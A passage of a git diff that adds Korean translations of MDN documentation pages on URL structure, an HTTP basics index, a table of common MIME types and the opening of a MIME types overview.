+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> 는 프로토콜입니다. 브라우저가 사용해야 하는 프로토콜을 나타냅니다. 일반적으로 그것은 HTTP 프로토콜이거나 혹은 보안이 적용된 버전인 HTTPS일 겁니다. 웹은 이들 중 하나를 반드시 필요로 하지만, 브라우저들은 <code>mailto:</code> (메일 클라이언트를 열기 위해) 혹은 파일 전송을 다루기 위한 <code>ftp:</code> 와 같은 다른 프로토콜도 처리하는 방법을 알고 있으므로 그런 프로토콜들을 보게 되더라도 놀라지마세요. 일반적인 스킴은 다음과 같습니다: </dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">설명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>data</td>
+ <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">데이터 URIs</a></td>
+ </tr>
+ <tr>
+ <td>file</td>
+ <td>호스트가 지정하는 파일 이름들</td>
+ </tr>
+ <tr>
+ <td>ftp</td>
+ <td><a href="/en-US/docs/Glossary/FTP">파일 전송 프로토콜</a></td>
+ </tr>
+ <tr>
+ <td>http/https</td>
+ <td><a href="/en-US/docs/Glossary/HTTP">하이퍼텍스트 전송 프로토콜 (보안)</a></td>
+ </tr>
+ <tr>
+ <td>mailto</td>
+ <td>전자 메일 주소</td>
+ </tr>
+ <tr>
+ <td>ssh</td>
+ <td>보안 쉘</td>
+ </tr>
+ <tr>
+ <td>tel</td>
+ <td>전화번호</td>
+ </tr>
+ <tr>
+ <td>urn</td>
+ <td>Uniform Resource Names</td>
+ </tr>
+ <tr>
+ <td>view-source</td>
+ <td>리소스의 소스 코드</td>
+ </tr>
+ <tr>
+ <td>ws/wss</td>
+ <td>(암호화된) <a href="/en-US/docs/Web/API/WebSockets_API">웹소켓</a> 연결</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="도메인_이름(Authority)">도메인 이름(Authority)</h3>
+
+<dl>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> 은 네임스페이스를 관리하는 도메인 이름 혹은 권한입니다. 그것은 어떤 웹 서버가 요청을 받게 될지를 나타냅니다.  혹은, {{Glossary("IP address")}}를 직접 사용할 수도 있지만, 불편하므로 웹에서 그리 자주 사용되지는 않습니다.</dd>
+</dl>
+
+<h3 id="포트">포트</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd>이 예제에서 <code>:80</code> 는 포트를 말합니다. 그것은 웹 서버 상의 리소스에 접근하는데 사용되는 기술적인 "문(gate)"을 나타냅니다. 리소스에 접근하기 위한 권한을 얻기 위해 웹 서버가 HTTP 프로토콜의 표준 포트(HTTP는 80, HTTPS는 443)를 사용하는 경우 일반적으로 생략됩니다. 그게 아니라면 포트 입력은 필수입니다.</dd>
+</dl>
+
+<h3 id="경로">경로</h3>
+
+<dl>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> 는 웹 서버 상의 리소스 경로입니다. 초기 웹에서, 이와 같은 경로는 웹 서버 상에 있는 파일의 실제 위치를 나타냈었습니다. 오늘날에는, 대부분 물리적인 실제 위치를 사용하지 않고 웹 서버에 의해 다뤄지는 추상화를 사용합니다.</dd>
+</dl>
+
+<h3 id="쿼리">쿼리</h3>
+
+<dl>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> 는 웹 서버에 제공되는 추가적인 파라메터입니다. 이런 파라메터들은 <code>&amp;</code> 심볼로 구분되는 키/값 쌍의 목록입니다. 웹 서버는 리소스를 사용자에게 반환하기 이전에 무언가 추가적인 작업을 하기 위해 이 파라메터들을 사용할 수 있습니다. 각각의 웹 서버는 파라메터들을 따르는 자신만의 규칙을 가지며, 특정 웹서버가 파라메터들을 다루는 방식을 알기 위한 신뢰할 수 있는 유일한 방법은 웹 서버 소유자에게 요청하는 것입니다.</dd>
+</dl>
+
+<h3 id="프래그먼트">프래그먼트</h3>
+
+<dl>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> 는 리소스 자체의 다른 부분을 가리키는 앵커입니다. 앵커는 리소스 내에서의 "북마크"의 한 종류를 나타내며, 브라우저에게 그런 "북마크된" 지점에 위치한 컨텐츠를 보여주기 위한 방법을 제공합니다. 예를 들자면, HTML 문서 상에서, 브라우저는 앵커가 정의된 지점으로 스크롤될 것입니다; 비디오 혹은 오디오 문서에서, 브라우저는 앵커가 나타내는 시점으로 이동하려고 할 겁니다. 프래그먼트 식별자로 알려져 있기도 한, # 뒤의 부분은 요청과 함께 서버에 전달되지 않는다는 것을 알아두어야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL이란 무엇인가?</a></li>
+ <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">URI 스킴에 대한 IANA 목록</a></li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/index.html b/files/ko/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..47028717ec
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/index.html
@@ -0,0 +1,51 @@
+---
+title: HTTP 기본
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+ - HTTP
+ - NeedsTranslation
+ - Overview
+ - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP는 상당히 확장 가능한 프로토콜입니다. 자원과 URI의 개념, 메시지의 단순한 구조, 통신 흐름을 위한 클라이언트-서버 구조와 같은 몇 가지 기본 개념에 의존합니다. 이러한 기본 개념을 토대로, 새로운 HTTP 메서드나 헤더의 생성을 통해 새로운 기능과 새로운 의미를 더하는 수많은 확장들이 수년간 생겨났습니다.</p>
+
+<h2 id="항목">항목</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Overview">HTTP의 개요</a></dt>
+ <dd>HTTP는 무엇이고 웹 아키텍처에서 그 역할은 무엇인지, 프로토콜 스택에서의 위치를 서술하고 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP의 진화</a></dt>
+ <dd>HTTP는 1990년대 초반에 만들어지고 여러번 확장되어 왔습니다. 이 항목에서는 HTTP의 역사에 대해서 훑어보고 HTTP/0.9, HTTP/1.0, HTTP/1.1 그리고 수년에 걸쳐 중요하지는 않지만 새로운 기능이 소개된 현대의 HTTP/2에 대해서 서술하고 있습니다.</dd>
+ <dt><strong>HTTP 버전 협상</strong></dt>
+ <dd>클라이언트와 서버가 어떻게 특정 HTTP 버전을 협상하는지 그리고 갑자기 프로토콜 버전이 업그레이드 된 것이 사용되었을 때에는 어떻게 하는지 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Resources_and_URIs">리소스와 URIs</a></dt>
+ <dd>리소스에 대한 개념, 지시자, 그리고 웹에서의 위치에 대해서 간략히 소개합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></dt>
+ <dd>웹 리소스가 어떻게 참조되는지 그리고 어떻게 것을 찾는지에 대해서 서술합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">데이터 URIs</a></dt>
+ <dd>특정 종류의 URI는 직접 대표하는 리소스를 포함합니다(embed). 데이터 URIs는 매우 편리하지만 위험성을 가지고 있습니다.</dd>
+ <dt>리소스 URLs</dt>
+ <dd>리소스 URLs, <code>resource:</code>가 접두사로 붙어있는 URLs인 스키마, 파이어폭스와 파이어폭스 확장 프로그램들에서 내적으로 리소스를 로드하기 위해서 사용됩니다, 하지만 몇몇 브라우저로 연결할 수 있는 사이트의 정보도 사용할 수 있습니다.</dd>
+ <dt>리소스의 신분과 위치를 분리: the Alt-Svc HTTP header</dt>
+ <dd>대부분의 경우, 웹 리소스에서 신분과 위치는 공유됩니다. 이것은 {{HTTPHeader("Alt-Svc")}} 헤더를 사용함으로써 바뀔 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a></dt>
+ <dd>HTTP/1.0 부터 다른 타입의 콘텐츠를 전송할 수 있습니다. 이 항목에서는 어떻게 {{HTTPHeader("Content-Type")}} 헤더를 사용하여 이것이 완료될 수 있는지 그리고 MIME 표준에 대해서 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">www와 비-www URL 중에서 선택하기</a></dt>
+ <dd>www 접두사를 사용한 도메인과 그렇지 않은 도메인에 대해서 조언합니다. 이 항목에서는 선택의 결과에 더하여 그것을 어떻게 만드는지 설명합니다.</dd>
+ <dt>HTTP 세션의 흐름</dt>
+ <dd>이 기초에 대한 항목은 일반적인 HTTP 세션에 대해서 서술합니다: 당신이 브라우저의 링크를 클릭하였을 때 무슨 일이 일어나는지에 대해 ...</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Messages">HTTP 메시지</a></dt>
+ <dd>HTTP 메시지는 요청 혹은 응답을 하는 도중에 전송됩니며, 아주 확실한 구조를 가지고 있습니다;<br>
+ 이 간략한 항목에서는 그 구조, 목적과 가능성에 대해서 서술합니다.</dd>
+ <dt>HTTP/2에서의 프레임과 메시지 구조</dt>
+ <dd>HTTP/2는 HTTP/1.x 메시지를 바이너리 프레임에 넣어 대신하고 캡슐화를 합니다. 이 항목은 그 프레임의 구조, 목적, 그리고 인코드 방법에 대해서 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x의 커넥션 관리</a></dt>
+ <dd>HTTP/1.1은 HTTP가 영구 연결과 파이프라이닝을 지원한 첫 버전입니다. 이 항목은 두 컨셉에 대해서 설명합니다.</dd>
+ <dt>HTTP/2에서의 연결 관리</dt>
+ <dd>HTTP/2는 어떻게 연결이 생성되고 관리되는지에 대해서 완벽하게 재고되었습니다: 이 항목은 어떻게 HTTP 프레임이 멀티플렉싱이 가능한지 그리고 이전 HTTP 버전에서 발생한 'head-of-time' 문제를 어떻게 풀었는지에 대해서 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Content_negotiation">콘텐츠 협상</a></dt>
+ <dd>브라우저에서 선언한 포맷, 언어, 또는 선호하는 인코딩 타입에 따라서 HTTP는 Accept-로 시작하는 HTTP 헤더 세트를 소개합니다. 이 항목은 어떻게 이러한 협상이 시작하는지, 어떻게 서버가 반응하기를 기대하는지 그리고 어떻게 가장 적절한 응답을 주는지에 대해서 설명합니다.</dd>
+</dl>
diff --git a/files/ko/web/http/basics_of_http/mime_types/common_types/index.html b/files/ko/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..7ac00ee7e9
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,305 @@
+---
+title: MIME 타입의 전체 목록
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>다음은 일반적인 확장자로 정렬된, 문서 타입과 관련된 MIME 타입의 포괄적인 목록입니다.</p>
+
+<p>두 개의 주요 MIME 타입은 기본 타입에 있어 중요한 역할을 합니다:</p>
+
+<ul>
+ <li><code>text/plain</code>는 텍스트 파일을 위한 기본값입니다. 텍스트 파일은 인간이 읽을 수 있어야 하며 이진 데이터를 포함해서는 안됩니다.</li>
+ <li><code>application/octet-stream</code>는 다른 모든 경우를 위한 기본값입니다. 알려지지 않은 파일 타입은 이 타입을 사용해야 합니다. 브라우저들은 이런 파일들을 다룰 때, 사용자를 위험한 동작으로부터 보호하도록 개별적인 주의를 기울여야 합니다.</li>
+</ul>
+
+<p>IANA는 MIME 미디어 타입의 공식적인 레지스트리로 <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">list공식적인 MIME 타입의 전체 목록</a>을 관리합니다. 다음 표에 웹에 대한 몇 가지 중요한 MIME 타입들이 나와 있습니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">확장자</th>
+ <th scope="col">문서 종류</th>
+ <th scope="col">MIME 타입</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>.aac</code></td>
+ <td>AAC 오디오 파일</td>
+ <td><code>audio/aac</code></td>
+ </tr>
+ <tr>
+ <td><code>.abw</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a> 문서</td>
+ <td><code>application/x-abiword</code></td>
+ </tr>
+ <tr>
+ <td><code>.arc</code></td>
+ <td>아카이브 문서 (인코딩된 다중 파일)</td>
+ <td><code>application/octet-stream</code></td>
+ </tr>
+ <tr>
+ <td><code>.avi</code></td>
+ <td>AVI: Audio Video Interleave</td>
+ <td><code>video/x-msvideo</code></td>
+ </tr>
+ <tr>
+ <td><code>.azw</code></td>
+ <td>아마존 킨들 전자책 포맷</td>
+ <td><code>application/vnd.amazon.ebook</code></td>
+ </tr>
+ <tr>
+ <td><code>.bin</code></td>
+ <td>모든 종류의 이진 데이터</td>
+ <td><code>application/octet-stream</code></td>
+ </tr>
+ <tr>
+ <td><code>.bz</code></td>
+ <td>BZip 아카이브</td>
+ <td><code>application/x-bzip</code></td>
+ </tr>
+ <tr>
+ <td><code>.bz2</code></td>
+ <td>BZip2 아카이브</td>
+ <td><code>application/x-bzip2</code></td>
+ </tr>
+ <tr>
+ <td><code>.csh</code></td>
+ <td>C-Shell 스크립트</td>
+ <td><code>application/x-csh</code></td>
+ </tr>
+ <tr>
+ <td><code>.css</code></td>
+ <td>Cascading Style Sheets (CSS)</td>
+ <td><code>text/css</code></td>
+ </tr>
+ <tr>
+ <td><code>.csv</code></td>
+ <td>Comma-separated values (CSV)</td>
+ <td><code>text/csv</code></td>
+ </tr>
+ <tr>
+ <td><code>.doc</code></td>
+ <td>Microsoft Word</td>
+ <td><code>application/msword</code></td>
+ </tr>
+ <tr>
+ <td><code>.epub</code></td>
+ <td>Electronic publication (EPUB)</td>
+ <td><code>application/epub+zip</code></td>
+ </tr>
+ <tr>
+ <td><code>.gif</code></td>
+ <td>Graphics Interchange Format (GIF)</td>
+ <td><code>image/gif</code></td>
+ </tr>
+ <tr>
+ <td><code>.htm<br>
+ .html</code></td>
+ <td>HyperText Markup Language (HTML)</td>
+ <td><code>text/html</code></td>
+ </tr>
+ <tr>
+ <td><code>.ico</code></td>
+ <td>Icon 포맷</td>
+ <td><code>image/x-icon</code></td>
+ </tr>
+ <tr>
+ <td><code>.ics</code></td>
+ <td>iCalendar 포맷</td>
+ <td><code>text/calendar</code></td>
+ </tr>
+ <tr>
+ <td><code>.jar</code></td>
+ <td>Java 아카이브 (JAR)</td>
+ <td><code>application/java-archive</code></td>
+ </tr>
+ <tr>
+ <td><code>.jpeg</code><br>
+ <code>.jpg</code></td>
+ <td>JPEG 이미지</td>
+ <td><code>image/jpeg</code></td>
+ </tr>
+ <tr>
+ <td><code>.js</code></td>
+ <td>JavaScript (ECMAScript)</td>
+ <td><code>application/js</code></td>
+ </tr>
+ <tr>
+ <td><code>.json</code></td>
+ <td>JSON 포맷</td>
+ <td><code>application/json</code></td>
+ </tr>
+ <tr>
+ <td><code>.mid</code><br>
+ <code>.midi</code></td>
+ <td>Musical Instrument Digital Interface (MIDI)</td>
+ <td><code>audio/midi</code></td>
+ </tr>
+ <tr>
+ <td><code>.mpeg</code></td>
+ <td>MPEG 비디오</td>
+ <td><code>video/mpeg</code></td>
+ </tr>
+ <tr>
+ <td><code>.mpkg</code></td>
+ <td>Apple Installer Package</td>
+ <td><code>application/vnd.apple.installer+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.odp</code></td>
+ <td>OpenDocuemnt 프리젠테이션 문서</td>
+ <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+ </tr>
+ <tr>
+ <td><code>.ods</code></td>
+ <td>OpenDocuemnt 스프레드시트 문서</td>
+ <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+ </tr>
+ <tr>
+ <td><code>.odt</code></td>
+ <td>OpenDocument 텍스트 문서</td>
+ <td><code>application/vnd.oasis.opendocument.text</code></td>
+ </tr>
+ <tr>
+ <td><code>.oga</code></td>
+ <td>OGG 오디오</td>
+ <td><code>audio/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>.ogv</code></td>
+ <td>OGG 비디오</td>
+ <td><code>video/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>.ogx</code></td>
+ <td>OGG</td>
+ <td><code>application/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>.pdf</code></td>
+ <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td>
+ <td><code>application/pdf</code></td>
+ </tr>
+ <tr>
+ <td><code>.ppt</code></td>
+ <td>Microsoft PowerPoint</td>
+ <td><code>application/vnd.ms-powerpoint</code></td>
+ </tr>
+ <tr>
+ <td><code>.rar</code></td>
+ <td>RAR 아카이브</td>
+ <td><code>application/x-rar-compressed</code></td>
+ </tr>
+ <tr>
+ <td><code>.rtf</code></td>
+ <td>Rich Text Format (RTF)</td>
+ <td><code>application/rtf</code></td>
+ </tr>
+ <tr>
+ <td><code>.sh</code></td>
+ <td>Bourne 쉘 스크립트</td>
+ <td><code>application/x-sh</code></td>
+ </tr>
+ <tr>
+ <td><code>.svg</code></td>
+ <td>Scalable Vector Graphics (SVG)</td>
+ <td><code>image/svg+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.swf</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) 혹은 Adobe Flash document</td>
+ <td><code>application/x-shockwave-flash</code></td>
+ </tr>
+ <tr>
+ <td><code>.tar</code></td>
+ <td>Tape Archive (TAR)</td>
+ <td><code>application/x-tar</code></td>
+ </tr>
+ <tr>
+ <td><code>.tif<br>
+ .tiff</code></td>
+ <td>Tagged Image File Format (TIFF)</td>
+ <td><code>image/tiff</code></td>
+ </tr>
+ <tr>
+ <td><code>.ttf</code></td>
+ <td>TrueType Font</td>
+ <td><code>application/x-font-ttf</code></td>
+ </tr>
+ <tr>
+ <td><code>.vsd</code></td>
+ <td>Microsft Visio</td>
+ <td><code>application/vnd.visio</code></td>
+ </tr>
+ <tr>
+ <td><code>.wav</code></td>
+ <td>Waveform Audio Format</td>
+ <td><code>audio/x-wav</code></td>
+ </tr>
+ <tr>
+ <td><code>.weba</code></td>
+ <td>WEBM 오디오</td>
+ <td><code>audio/webm</code></td>
+ </tr>
+ <tr>
+ <td><code>.webm</code></td>
+ <td>WEBM 비디오</td>
+ <td><code>video/webm</code></td>
+ </tr>
+ <tr>
+ <td><code>.webp</code></td>
+ <td>WEBP 이미지</td>
+ <td><code>image/webp</code></td>
+ </tr>
+ <tr>
+ <td><code>.woff</code></td>
+ <td>Web Open Font Format (WOFF)</td>
+ <td><code>application/x-font-woff</code></td>
+ </tr>
+ <tr>
+ <td><code>.xhtml</code></td>
+ <td>XHTML</td>
+ <td><code>application/xhtml+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.xls</code></td>
+ <td>Microsoft Excel</td>
+ <td><code>application/vnd.ms-excel</code></td>
+ </tr>
+ <tr>
+ <td><code>.xml</code></td>
+ <td><code>XML</code></td>
+ <td><code>application/xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.xul</code></td>
+ <td>XUL</td>
+ <td><code>application/vnd.mozilla.xul+xml</code></td>
+ </tr>
+ <tr>
+ <td><code>.zip</code></td>
+ <td>ZIP archive</td>
+ <td><code>application/zip</code></td>
+ </tr>
+ <tr>
+ <td><code>.3gp</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> 오디오/비디오 컨테이너</td>
+ <td><code>video/3gpp</code><br>
+ <code>audio/3gpp</code> if it doesn't contain video</td>
+ </tr>
+ <tr>
+ <td><code>.3g2</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> 오디오/비디오 컨테이너</td>
+ <td><code>video/3gpp2</code><br>
+ <code>audio/3gpp2</code> if it doesn't contain video</td>
+ </tr>
+ <tr>
+ <td><code>.7z</code></td>
+ <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> 아카이브</td>
+ <td><code>application/x-7z-compressed</code></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/http/basics_of_http/mime_types/index.html b/files/ko/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..9b2ee96c87
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,306 @@
+---
+title: MIME 타입
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>MIME 타입</strong>이란 클라이언트에게 전송된 문서의 다양성을 알려주기 위한 메커니즘입니다: 웹에서 파일의 확장자는 별  의미가 없습니다. 그러므로, 각 문서와 함께 올바른 MIME 타입을 전송하도록, 서버가 정확히 설정하는 것이 중요합니다. 브라우저들은 리소스를 내려받았을 때 해야 할 기본 동작이 무엇인지를 결정하기 위해 대게 MIME 타입을 사용합니다.</p>
+
+<p>수 많은 종류의 문서가 있으므로 많은 MIME 타입들이 존재합니다. 우리는 이 글에서 웹 개발에 있어 가장 중요한 MIME 타입들 중 몇 가지를 나열해 살펴보긴 하겠지만, 특정 종류의 문서에 딱 들어맞는 것을 보려면 다음의 전용 문서를 참고하시기 바랍니다: <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">MIME 타입의 전체 목록</a>.</p>
+
+<p>MIME 타입은 문서 타입 정보를 실어나르는 유일한 방법은 아닙니다:</p>
+
+<ul>
+ <li>이름의 접미사가 때때로 사용되는데, 특히 Microsoft의 윈도우즈 시스템이 그렇습니다. 모든 운영체제들이 이런 접미사를 의미있게 생각하는 것은 아니며(Linux 혹은 OS X의 경우 그렇습니다), 외부 MIME 타입의 경우처럼 그들이 정확하다는 보장도 없습니다.</li>
+ <li>매직 넘버. 다른 종류의 파일의 문법은 구조 상 보여지는 타입을 결정하는데 도움을 줍니다. 예를 들어, 각 GIF 파일들은 47 49 46 38 16진수 값 [GIF89]로 시작되며 PNG 파일의 경우 89 50 4E 47 [.PNG]로 시작됩니다. 파일의 모든 타입들이 이런 매직 넘버를 가지고 있는 것은 아니므로 100% 신뢰할 만한 시스템은 아니기도 합니다.</li>
+</ul>
+
+<p>웹에서는 MIME 타입만이 가장 적절하며, 그러므로 조심스럽게 설정되어야 합니다. 브라우저와 서버들은 일반적인 타입이 제공된 경우에만 MIME 타입을 정의하고, 일치하는지 점검하거나 정확한 MIME 타입을 찾기 위해 접미사나 매직 넘버에 근거하는 휴리스틱(발견적 경험)을 사용합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<h3 id="일반적인_구조">일반적인 구조</h3>
+
+<pre class="syntaxbox">type/subtype</pre>
+
+<p>MIME 타입의 구조는 매우 간단합니다; <code>'/'</code>로 구분된 두 개의 문자열인 타입과 서브타입으로 구성됩니다. 스페이스는 허용되지 않습니다. <em>type</em>은 카테고리를 나타내며 <em>개별(discrete) 혹은</em> <em>멀티파트</em> 타입이 될 수 있습니다. <em>subtype</em> 은 각각의 타입에 한정됩니다.</p>
+
+<p>MIME 타입은 대소문자를 구분하지는 않지만 전통적으로 소문자로 쓰여집니다.</p>
+
+<h3 id="개별_타입">개별 타입</h3>
+
+<pre class="syntaxbox">text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…</pre>
+
+<p><em>개별</em> 타입은 문서의 카테고리를 가리키며, 다음 중 하나가 될 수 있습니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">타입</th>
+ <th scope="col">설명</th>
+ <th scope="col">일반적인 서브타입 예시</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>text</code></td>
+ <td>텍스트를 포함하는 모든 문서를 나타내며 이론상으로는 인간이 읽을 수 있어야 합니다</td>
+ <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td>
+ </tr>
+ <tr>
+ <td><code>image</code></td>
+ <td>모든 종류의 이미지를 나타냅니다. (animated gif처럼) 애니메이션되는 이미지가 이미지 타입에 포함되긴 하지만, 비디오는 포함되지 않습니다.</td>
+ <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td>
+ </tr>
+ <tr>
+ <td><code>audio</code></td>
+ <td>모든 종류의 오디오 파일들을 나타냅니다.</td>
+ <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td>
+ </tr>
+ <tr>
+ <td><code>video</code></td>
+ <td>모든 종류의 비디오 파일들을 나타냅니다.</td>
+ <td><code>video/webm</code>, <code>video/ogg</code></td>
+ </tr>
+ <tr>
+ <td><code>application</code></td>
+ <td>모든 종류의 이진 데이터를 나타냅니다.</td>
+ <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>,  <code>application/pdf</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>특정 서브타입이 없는 텍스트 문서들에 대해서는 <code>text/plain</code>가 사용되어야 합니다. 특정 혹은 알려진 서브타입이 없는 이진 문서에 대해서는 유사하게, <code>application/octet-stream</code>이 사용되어야 합니다.</p>
+
+<h3 id="멀티파트_타입">멀티파트 타입</h3>
+
+<pre class="syntaxbox">multipart/form-data
+multipart/byteranges</pre>
+
+<p id="sect1"><em>멀티파트</em> 타입은 일반적으로 다른 MIME 타입들을 지닌 개별적인 파트들로 나누어지는 문서의 카테고리를 가리킵니다. 즉 이 타입은 <em>합성된</em> 문서를 나타내는 방법입니다. <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>과 {{HTTPMethod("POST")}} 메서드의 관계 속에서 사용되는 <code>multipart/form-data</code> 그리고 전체 문서의 하위 집합만 전송하기 위한 {{HTTPStatus("206")}} <code>Partial Content</code> 상태 메시지와 함께 사용되는 <code>multipart/byteranges</code>를 제외하고는, HTTP가 멀티파트 문서를 다룰 수 있는 특정한 방법은 존재하지 않습니다: 메시지는 브라우저에 간단히 전달됩니다 (문서를 인라인에 어떻게 디스플레이할지 모르기에, '다른 이름으로 저장' 윈도우를 제시할 겁니다)</p>
+
+<h2 id="웹_개발자들을_위한_중요한_MIME_타입">웹 개발자들을 위한 중요한 MIME 타입</h2>
+
+<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3>
+
+<p>이 타입은 이진 파일을 위한 기본값입니다. 이 타입은 실제로 <em>잘 알려지지 않은</em> 이진 파일을 의미하므로, 브라우저는 보통 자동으로 실행하지 않거나 실행해야 할지 묻기도 합니다. {{HTTPHeader("Content-Disposition")}} 헤더가 값 <code>attachment</code> 와 함게 설정되었고 'Save As' 파일을 제안하는지 여부에 따라 브라우저가 그것을 다루게 됩니다.</p>
+
+<h3 id="textplain"><code>text/plain</code></h3>
+
+<p>이것은 텍스트 파일에 대한 기본값입니다. 실제로 <em>알려지지 않은 텍스트</em> 파일일지라도 브라우저들은 그것을 디스플레이할 수 있다고 가정합니다.</p>
+
+<div class="note">
+<p><code>text/plain</code>이 <em>모든 종류의 텍스트 데이터</em>를 의미하지는 않는다는 것을 알아두시기 바랍니다. 만약 브라우저가 특정 종류의 텍스트 데이터를 예상한 경우, 반드시 일치한다고 간주하지 않을 겁니다. 특히, CSS 파일을 선언한 {{HTMLElement("link")}} 엘리먼트로부터 <code>text/plain</code> 파일을 다운로드할 경우, <code>text/plain</code>으로 표현된다면 브라우저는 그것을 유효한 CSS 파일로 감지하지 않을 겁니다. CSS의 MIME 타입인 <code>text/css</code>이 사용되어야 합니다.</p>
+</div>
+
+<h3 id="textcss"><code>text/css</code></h3>
+
